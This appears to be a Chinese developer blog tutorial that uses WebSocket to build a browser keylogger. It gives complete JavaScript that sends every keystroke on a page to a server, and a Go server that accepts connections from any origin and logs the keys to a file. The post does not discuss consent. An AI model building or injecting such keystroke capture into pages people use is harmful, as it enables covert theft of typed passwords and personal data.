深入探究：使用 WebSocket 实现 Go + JS 键盘记录器-优快云博客

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在当今数字化时代，实时数据交互变得越来越重要。无论是在线游戏、实时聊天应用，还是监控系统，都需要高效且实时的数据传输。WebSocket 技术应运而生，它为客户端和服务器之间提供了一种全双工的通信方式，非常适合高频数据的实时传输。本文将详细介绍如何使用 WebSocket 技术实现一个基于 Go 和 JavaScript 的键盘记录器，让你能够实时捕获并记录用户的键盘操作。

WebSocket 特性详解

优点

实时性强：在传统的 HTTP 通信中，客户端和服务器之间的通信是半双工的，即客户端发送请求，服务器响应请求。这种方式在处理实时数据时存在一定的延迟，因为需要等待客户端发送请求才能获取新的数据。而 WebSocket 则不同，它允许服务器和客户端之间进行实时的双向通信。当用户按下键盘上的某个按键时，按键事件会立即通过 WebSocket 连接传输到服务器，无需等待批量发送。这种实时性使得 WebSocket 非常适合需要即时反馈的应用场景，如在线游戏、实时监控等。
低延迟：由于 WebSocket 采用了长连接的方式，避免了每次通信都需要建立新连接的开销，因此具有较低的延迟。在高频数据传输的场景下，如键盘记录器，低延迟可以确保按键事件能够及时准确地传输到服务器，不会出现明显的延迟或丢包现象。这对于需要精确记录用户操作的应用来说非常重要。
全双工通信：全双工通信意味着服务器和客户端可以同时进行数据传输，而互不干扰。在键盘记录器的应用中，服务器不仅可以实时接收客户端发送的按键数据，还可以主动向客户端推送其他指令，如暂停记录、恢复记录等。这种双向通信的能力为应用的开发提供了更多的灵活性和可能性。

缺点

需要维护长连接，服务端资源消耗较高：由于 WebSocket 采用了长连接的方式，服务器需要为每个连接的客户端维护一个持续的连接。这意味着服务器需要消耗更多的系统资源，如内存、CPU 等，来处理这些连接。特别是在高并发的情况下，服务器的资源消耗会显著增加。因此，在使用 WebSocket 时，需要对服务器的性能进行合理的评估和优化。
需手动处理 JSON 序列化 / 反序列化：在 WebSocket 通信中，数据通常以 JSON 格式进行传输。因此，在客户端和服务器之间进行数据交换时，需要手动处理 JSON 数据的序列化和反序列化。序列化是将对象转换为 JSON 字符串的过程，反序列化则是将 JSON 字符串转换为对象的过程。虽然大多数编程语言都提供了相关的库来处理 JSON 数据，但手动处理这些过程仍然会增加开发的复杂度和工作量。

实现步骤

HTML + JS 代码实现前端

前端代码的主要功能是监听用户的键盘事件，并将按键数据通过 WebSocket 连接发送到服务器。以下是具体的实现代码：

<!DOCTYPE html>  
<html>  
<body>  
<script>  
    // 连接到 WebSocket 服务  
    const ws = new WebSocket('ws://localhost:8080/ws');  
  
    // 监听键盘事件  
    document.addEventListener('keydown', (e) => {  
        // 立即发送按键数据（无需缓存）  
        ws.send(JSON.stringify({  
            key: e.key,  
            code: e.code,  
            timestamp: Date.now()  
        }));  
    });  
  
    // 处理连接错误  
    ws.onerror = (err) => {  
        console.error('WebSocket 错误:', err);  
    };  
</script>  
</body>  
</html>

代码解释：

const ws = new WebSocket('ws://localhost:8080/ws');：创建一个 WebSocket 连接，连接到本地服务器的 ws://localhost:8080/ws 地址。
document.addEventListener('keydown', (e) => { ... });：监听页面的键盘按下事件，当用户按下键盘上的某个按键时，触发回调函数。
ws.send(JSON.stringify({ ... }));：将按键数据（包括按键名称、按键代码和时间戳）转换为 JSON 字符串，并通过 WebSocket 连接发送到服务器。
ws.onerror = (err) => { ... };：处理 WebSocket 连接错误，当连接出现错误时，将错误信息打印到控制台。

Go + WebSocket 库实现后端接收服务器

后端代码的主要功能是接收客户端发送的按键数据，并将其打印到控制台和记录到日志文件中。以下是具体的实现代码：

package main  
  
import (  
    "encoding/json"  
    "log"    "net/http"    "os"    "time"  
    "github.com/gorilla/websocket")  
  
var upgrader = websocket.Upgrader{  
    CheckOrigin: func(r *http.Request) bool { return true }, // 允许跨域  
}  
  
type KeyLog struct {  
    Key       string `json:"key"`  
    Code      string `json:"code"`  
    Timestamp int64  `json:"timestamp"`  
}  
  
func main() {  
    http.HandleFunc("/ws", handleWebSocket)  
    log.Fatal(http.ListenAndServe(":8080", nil))  
}  
  
func handleWebSocket(w http.ResponseWriter, r *http.Request) {  
    conn, err := upgrader.Upgrade(w, r, nil)  
    if err != nil {  
       log.Println("升级到 WebSocket 失败:", err)  
       return  
    }  
    defer conn.Close()  
  
    // 实时接收消息  
    for {  
       _, msg, err := conn.ReadMessage()  
       if err != nil {  
          log.Println("读取消息失败:", err)  
          break  
       }  
  
       var logData KeyLog  
       if err := json.Unmarshal(msg, &logData); err != nil {  
          log.Println("解析 JSON 失败:", err)  
          continue  
       }  
  
       // 实时打印  
       log.Printf("[+]Key: %s, Code: %s, Timestamp: %d\n", logData.Key, logData.Code, logData.Timestamp)  
       // 写入日志文件  
       saveToFile(logData)  
    }  
}  
  
func saveToFile(logData KeyLog) {  
    logLine := time.Unix(0, logData.Timestamp*int64(time.Millisecond)).Format("2006-01-02 15:04:05") +  
       " Key: " + logData.Key + " Code: " + logData.Code + "\n"  
  
    // 以追加模式打开文件  
    file, err := os.OpenFile("keystrokes.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)  
    if err != nil {  
       log.Printf("打开文件失败: %v", err)  
       return  
    }  
    defer file.Close()  
  
    if _, err := file.WriteString(logLine); err != nil {  
       log.Printf("写入文件失败: %v", err)  
    }  
}

代码解释：

var upgrader = websocket.Upgrader{ ... };：创建一个 WebSocket 升级器，用于将 HTTP 连接升级为 WebSocket 连接。
type KeyLog struct { ... };：定义一个结构体 KeyLog，用于存储按键数据。
http.HandleFunc("/ws", handleWebSocket);：注册一个 HTTP 处理函数，当客户端访问 /ws 路径时，调用 handleWebSocket 函数。
conn, err := upgrader.Upgrade(w, r, nil);：将 HTTP 连接升级为 WebSocket 连接。
for { ... }：进入一个无限循环，实时接收客户端发送的消息。
_, msg, err := conn.ReadMessage();：读取客户端发送的消息。
if err := json.Unmarshal(msg, &logData); err != nil { ... }：将接收到的 JSON 数据反序列化为 KeyLog 结构体。
log.Printf("[+]Key: %s, Code: %s, Timestamp: %d\n", logData.Key, logData.Code, logData.Timestamp);：将按键数据打印到控制台。
saveToFile(logData);：将按键数据写入日志文件。

运行效果

页面中所有的键盘操作都将被实时打印并记录在文件中。运行上述代码后，打开 HTML 文件，在页面中按下键盘上的任意按键，你将在服务器的控制台看到相应的按键信息，同时这些信息也会被记录到 keystrokes.log 文件中。以下是运行效果的截图：

在这里插入图片描述

当前html页面没有添加任何界面效果，后续可以用于自行开发

除了 WebSocket 技术，我们还可以使用 gRPC-Web 技术来实现同样功能的键盘记录器。gRPC-Web 结合了 gRPC 的高性能和 Web 技术的灵活性，能够提供更强大的远程过程调用能力。不过，由于 gRPC-Web 需要使用 Protocol Buffers（Protobuf）技术进行数据序列化和反序列化，实现过程相对复杂，涉及到 Protobuf 消息定义、服务接口定义、代码生成等多个步骤。我们会在后续的文章中详细介绍如何使用 gRPC-Web 技术来实现键盘记录器，敬请期待。